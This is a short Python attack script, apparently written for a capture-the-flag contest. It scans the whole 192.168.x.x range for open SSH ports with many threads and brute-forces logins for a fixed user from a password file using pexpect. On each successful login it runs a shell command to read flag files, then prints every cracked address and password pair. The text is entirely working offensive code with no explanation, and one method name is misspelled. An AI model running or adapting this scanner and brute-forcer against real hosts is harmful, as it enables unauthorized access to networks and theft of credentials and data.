1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
|
import pexpect import threading from socket import *
ipList = []; flag = {};
loginKey = [pexpect.TIMEOUT, "#", "\$", "\?", "again"]
def getFlag(ip, password, pex): try: pex.sendline("ls / | grep *flag* | xargs cat"); pex.expect(loginKey); flag[ip + " : " + password] = str(pex.before); except: flag[ip + " : " + password] = " ";
def getPassword(ip): try: for p in open("password"): pex = pexpect.spawn("ssh uuu@" + ip, timeout = 1); res = pex.expect(loginKey); if res == 3: pex.sendline("yes"); res = pex.ecpect(loginKey); p = p.strip(); pex.sendline(p); res = pex.expect(loginKey); if res == 1 or res == 2: getFlag(ip, p, pex); return True; except: pass; ipList.append(ip); return False;
def scan(ip): s = socket(AF_INET, SOCK_STREAM); s.settimeout(1); try: s.connect((ip, 22)); print(ip); getPassword(ip); except: pass; finally: s.close();
for a in range(1, 255): for b in range(1,255): while len(threading.enumerate()) >= 255: pass; ip = "192.168." + str(a) + "." + str(b) threading.Thread(target=scan, args=(ip,)).start();
while len(threading.enumerate()) > 1: pass; print(ipList); print(flag);
|